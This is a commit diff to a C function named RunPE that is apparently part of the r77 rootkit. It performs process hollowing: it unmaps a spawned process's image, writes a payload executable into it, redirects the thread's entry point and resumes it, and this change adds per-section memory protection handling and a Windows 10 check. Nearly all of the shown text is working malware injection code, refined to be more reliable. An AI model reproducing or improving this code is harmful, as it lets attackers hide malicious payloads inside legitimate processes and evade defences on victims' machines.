@@ -705,6 +705,13 @@ BOOL RunPE(LPCWSTR path, LPBYTE payload)
705
705
// Cannot inject 64-bit payload from 32-bit process.
706
706
return FALSE;
707
707
}
708
+
709
+ if (!isPayload64Bit && BITNESS (64 ) && !IsAtLeastWindows10 ())
710
+ {
711
+ // Wow64 RunPE requires at least Windows 10.
712
+ //TODO: Custom implementation for Wow64GetThreadContext and Wow64SetThreadContext required to work on Windows 7.
713
+ return FALSE;
714
+ }
708
715
}
709
716
else
710
717
{
@@ -733,49 +740,63 @@ BOOL RunPE(LPCWSTR path, LPBYTE payload)
733
740
LPVOID imageBase = VirtualAllocEx (processInformation .hProcess , (LPVOID )ntHeaders -> OptionalHeader .ImageBase , ntHeaders -> OptionalHeader .SizeOfImage , MEM_COMMIT | MEM_RESERVE , PAGE_EXECUTE_READWRITE );
734
741
if (imageBase && WriteProcessMemory (processInformation .hProcess , imageBase , payload , ntHeaders -> OptionalHeader .SizeOfHeaders , NULL ))
735
742
{
736
- BOOL sectionsWritten = TRUE;
737
-
738
- for (int j = 0 ; j < ntHeaders -> FileHeader .NumberOfSections ; j ++ )
743
+ DWORD oldProtect ;
744
+ if (VirtualProtectEx (processInformation .hProcess , imageBase , ntHeaders -> OptionalHeader .SizeOfHeaders , PAGE_READONLY , & oldProtect ))
739
745
{
740
- PIMAGE_SECTION_HEADER sectionHeader = ( PIMAGE_SECTION_HEADER )(( ULONG_PTR ) IMAGE_FIRST_SECTION ( ntHeaders ) + j * ( ULONG_PTR ) IMAGE_SIZEOF_SECTION_HEADER ) ;
741
-
742
- if (! WriteProcessMemory ( processInformation . hProcess , ( LPBYTE ) imageBase + sectionHeader -> VirtualAddress , ( LPBYTE ) payload + sectionHeader -> PointerToRawData , sectionHeader -> SizeOfRawData , NULL ) )
746
+ BOOL sectionsWritten = TRUE ;
747
+ PIMAGE_SECTION_HEADER sectionHeaders = ( PIMAGE_SECTION_HEADER ) IMAGE_FIRST_SECTION ( ntHeaders );
748
+ for ( int j = 0 ; j < ntHeaders -> FileHeader . NumberOfSections ; j ++ )
743
749
{
744
- sectionsWritten = FALSE;
745
- break ;
750
+ if (!WriteProcessMemory (processInformation .hProcess , (LPBYTE )imageBase + sectionHeaders [j ].VirtualAddress , (LPBYTE )payload + sectionHeaders [j ].PointerToRawData , sectionHeaders [j ].SizeOfRawData , NULL ))
751
+ {
752
+ sectionsWritten = FALSE;
753
+ break ;
754
+ }
755
+
756
+ if (!VirtualProtectEx (
757
+ processInformation .hProcess ,
758
+ (LPBYTE )imageBase + sectionHeaders [j ].VirtualAddress ,
759
+ j == ntHeaders -> FileHeader .NumberOfSections - 1 ? ntHeaders -> OptionalHeader .SizeOfImage - sectionHeaders [j ].VirtualAddress : sectionHeaders [j + 1 ].VirtualAddress - sectionHeaders [j ].VirtualAddress ,
760
+ SectionCharacteristicsToProtection (sectionHeaders [j ].Characteristics ),
761
+ & oldProtect
762
+ ))
763
+ {
764
+ sectionsWritten = FALSE;
765
+ break ;
766
+ }
746
767
}
747
- }
748
768
749
- if (sectionsWritten )
750
- {
751
- LPCONTEXT context = (LPCONTEXT )VirtualAlloc (NULL , sizeof (CONTEXT ), MEM_COMMIT , PAGE_READWRITE );
752
- if (context )
769
+ if (sectionsWritten )
753
770
{
754
- context -> ContextFlags = CONTEXT_FULL ;
755
-
756
- if (GetThreadContext (processInformation .hThread , context ))
771
+ LPCONTEXT context = (LPCONTEXT )VirtualAlloc (NULL , sizeof (CONTEXT ), MEM_COMMIT , PAGE_READWRITE );
772
+ if (context )
757
773
{
758
- #ifdef _WIN64
759
- if (WriteProcessMemory (processInformation .hProcess , (LPVOID )(context -> Rdx + 16 ), & ntHeaders -> OptionalHeader .ImageBase , 8 , NULL ))
774
+ context -> ContextFlags = CONTEXT_FULL ;
775
+
776
+ if (GetThreadContext (processInformation .hThread , context ))
760
777
{
761
- context -> Rcx = (DWORD64 )imageBase + ntHeaders -> OptionalHeader .AddressOfEntryPoint ;
762
- if (SetThreadContext (processInformation .hThread , context ) &&
763
- ResumeThread (processInformation .hThread ) != -1 )
778
+ #ifdef _WIN64
779
+ if (WriteProcessMemory (processInformation .hProcess , (LPVOID )(context -> Rdx + 16 ), & ntHeaders -> OptionalHeader .ImageBase , 8 , NULL ))
764
780
{
765
- return TRUE;
781
+ context -> Rcx = (DWORD64 )imageBase + ntHeaders -> OptionalHeader .AddressOfEntryPoint ;
782
+ if (SetThreadContext (processInformation .hThread , context ) &&
783
+ ResumeThread (processInformation .hThread ) != -1 )
784
+ {
785
+ return TRUE;
786
+ }
766
787
}
767
- }
768
788
#else
769
- if (WriteProcessMemory (processInformation .hProcess , (LPVOID )(context -> Ebx + 8 ), & ntHeaders -> OptionalHeader .ImageBase , 4 , NULL ))
770
- {
771
- context -> Eax = (DWORD )imageBase + ntHeaders -> OptionalHeader .AddressOfEntryPoint ;
772
- if (SetThreadContext (processInformation .hThread , context ) &&
773
- ResumeThread (processInformation .hThread ) != -1 )
789
+ if (WriteProcessMemory (processInformation .hProcess , (LPVOID )(context -> Ebx + 8 ), & ntHeaders -> OptionalHeader .ImageBase , 4 , NULL ))
774
790
{
775
- return TRUE;
791
+ context -> Eax = (DWORD )imageBase + ntHeaders -> OptionalHeader .AddressOfEntryPoint ;
792
+ if (SetThreadContext (processInformation .hThread , context ) &&
793
+ ResumeThread (processInformation .hThread ) != -1 )
794
+ {
795
+ return TRUE;
796
+ }
776
797
}
777
- }
778
798
#endif
799
+ }
779
800
}
780
801
}
781
802
}
@@ -785,47 +806,55 @@ BOOL RunPE(LPCWSTR path, LPBYTE payload)
785
806
{
786
807
// Spawn 32-bit process from this 64-bit process.
787
808
788
- if (!IsAtLeastWindows10 ())
789
- {
790
- //TODO: Custom implementation for Wow64GetThreadContext and Wow64SetThreadContext required to work on Windows 7.
791
- return FALSE;
792
- }
793
-
794
809
PIMAGE_NT_HEADERS32 ntHeaders = (PIMAGE_NT_HEADERS32 )(payload + ((PIMAGE_DOS_HEADER )payload )-> e_lfanew );
795
810
R77_NtUnmapViewOfSection (processInformation .hProcess , ntHeaders -> OptionalHeader .ImageBase );
796
811
797
812
LPVOID imageBase = VirtualAllocEx (processInformation .hProcess , (LPVOID )ntHeaders -> OptionalHeader .ImageBase , ntHeaders -> OptionalHeader .SizeOfImage , MEM_COMMIT | MEM_RESERVE , PAGE_EXECUTE_READWRITE );
798
813
if (imageBase && WriteProcessMemory (processInformation .hProcess , imageBase , payload , ntHeaders -> OptionalHeader .SizeOfHeaders , NULL ))
799
814
{
800
- BOOL sectionsWritten = TRUE;
801
-
802
- for (int j = 0 ; j < ntHeaders -> FileHeader .NumberOfSections ; j ++ )
815
+ DWORD oldProtect ;
816
+ if (VirtualProtectEx (processInformation .hProcess , imageBase , ntHeaders -> OptionalHeader .SizeOfHeaders , PAGE_READONLY , & oldProtect ))
803
817
{
804
- PIMAGE_SECTION_HEADER sectionHeader = ( PIMAGE_SECTION_HEADER )(( ULONG_PTR ) IMAGE_FIRST_SECTION ( ntHeaders ) + j * ( ULONG_PTR ) IMAGE_SIZEOF_SECTION_HEADER ) ;
805
-
806
- if (! WriteProcessMemory ( processInformation . hProcess , ( LPBYTE ) imageBase + sectionHeader -> VirtualAddress , ( LPBYTE ) payload + sectionHeader -> PointerToRawData , sectionHeader -> SizeOfRawData , NULL ) )
818
+ BOOL sectionsWritten = TRUE ;
819
+ PIMAGE_SECTION_HEADER sectionHeaders = ( PIMAGE_SECTION_HEADER ) IMAGE_FIRST_SECTION ( ntHeaders );
820
+ for ( int j = 0 ; j < ntHeaders -> FileHeader . NumberOfSections ; j ++ )
807
821
{
808
- sectionsWritten = FALSE;
809
- break ;
822
+ if (!WriteProcessMemory (processInformation .hProcess , (LPBYTE )imageBase + sectionHeaders [j ].VirtualAddress , (LPBYTE )payload + sectionHeaders [j ].PointerToRawData , sectionHeaders [j ].SizeOfRawData , NULL ))
823
+ {
824
+ sectionsWritten = FALSE;
825
+ break ;
826
+ }
827
+
828
+ if (!VirtualProtectEx (
829
+ processInformation .hProcess ,
830
+ (LPBYTE )imageBase + sectionHeaders [j ].VirtualAddress ,
831
+ j == ntHeaders -> FileHeader .NumberOfSections - 1 ? ntHeaders -> OptionalHeader .SizeOfImage - sectionHeaders [j ].VirtualAddress : sectionHeaders [j + 1 ].VirtualAddress - sectionHeaders [j ].VirtualAddress ,
832
+ SectionCharacteristicsToProtection (sectionHeaders [j ].Characteristics ),
833
+ & oldProtect
834
+ ))
835
+ {
836
+ sectionsWritten = FALSE;
837
+ break ;
838
+ }
810
839
}
811
- }
812
840
813
- if (sectionsWritten )
814
- {
815
- PWOW64_CONTEXT context = (PWOW64_CONTEXT )VirtualAlloc (NULL , sizeof (WOW64_CONTEXT ), MEM_COMMIT , PAGE_READWRITE );
816
- if (context )
841
+ if (sectionsWritten )
817
842
{
818
- context -> ContextFlags = WOW64_CONTEXT_FULL ;
819
-
820
- if (Wow64GetThreadContext (processInformation .hThread , context ))
843
+ PWOW64_CONTEXT context = (PWOW64_CONTEXT )VirtualAlloc (NULL , sizeof (WOW64_CONTEXT ), MEM_COMMIT , PAGE_READWRITE );
844
+ if (context )
821
845
{
822
- if (WriteProcessMemory (processInformation .hProcess , (LPVOID )(context -> Ebx + 8 ), & ntHeaders -> OptionalHeader .ImageBase , 4 , NULL ))
846
+ context -> ContextFlags = WOW64_CONTEXT_FULL ;
847
+
848
+ if (Wow64GetThreadContext (processInformation .hThread , context ))
823
849
{
824
- context -> Eax = (DWORD )imageBase + ntHeaders -> OptionalHeader .AddressOfEntryPoint ;
825
- if (Wow64SetThreadContext (processInformation .hThread , context ) &&
826
- ResumeThread (processInformation .hThread ) != -1 )
850
+ if (WriteProcessMemory (processInformation .hProcess , (LPVOID )(context -> Ebx + 8 ), & ntHeaders -> OptionalHeader .ImageBase , 4 , NULL ))
827
851
{
828
- return TRUE;
852
+ context -> Eax = (DWORD )imageBase + ntHeaders -> OptionalHeader .AddressOfEntryPoint ;
853
+ if (Wow64SetThreadContext (processInformation .hThread , context ) &&
854
+ ResumeThread (processInformation .hThread ) != -1 )
855
+ {
856
+ return TRUE;
857
+ }
829
858
}
830
859
}
831
860
}
@@ -847,6 +876,41 @@ BOOL RunPE(LPCWSTR path, LPBYTE payload)
847
876
848
877
return FALSE;
849
878
}
879
+ DWORD SectionCharacteristicsToProtection (DWORD characteristics )
880
+ {
881
+ if ((characteristics & IMAGE_SCN_MEM_EXECUTE ) && (characteristics & IMAGE_SCN_MEM_READ ) && (characteristics & IMAGE_SCN_MEM_WRITE ))
882
+ {
883
+ return PAGE_EXECUTE_READWRITE ;
884
+ }
885
+ else if ((characteristics & IMAGE_SCN_MEM_EXECUTE ) && (characteristics & IMAGE_SCN_MEM_READ ))
886
+ {
887
+ return PAGE_EXECUTE_READ ;
888
+ }
889
+ else if ((characteristics & IMAGE_SCN_MEM_EXECUTE ) && (characteristics & IMAGE_SCN_MEM_WRITE ))
890
+ {
891
+ return PAGE_EXECUTE_WRITECOPY ;
892
+ }
893
+ else if ((characteristics & IMAGE_SCN_MEM_READ ) && (characteristics & IMAGE_SCN_MEM_WRITE ))
894
+ {
895
+ return PAGE_READWRITE ;
896
+ }
897
+ else if (characteristics & IMAGE_SCN_MEM_EXECUTE )
898
+ {
899
+ return PAGE_EXECUTE ;
900
+ }
901
+ else if (characteristics & IMAGE_SCN_MEM_READ )
902
+ {
903
+ return PAGE_READONLY ;
904
+ }
905
+ else if (characteristics & IMAGE_SCN_MEM_WRITE )
906
+ {
907
+ return PAGE_WRITECOPY ;
908
+ }
909
+ else
910
+ {
911
+ return PAGE_NOACCESS ;
912
+ }
913
+ }
850
914
DWORD GetExecutableFunction (LPBYTE image , LPCSTR functionName )
851
915
{
852
916
BOOL is64Bit ;
0 commit comments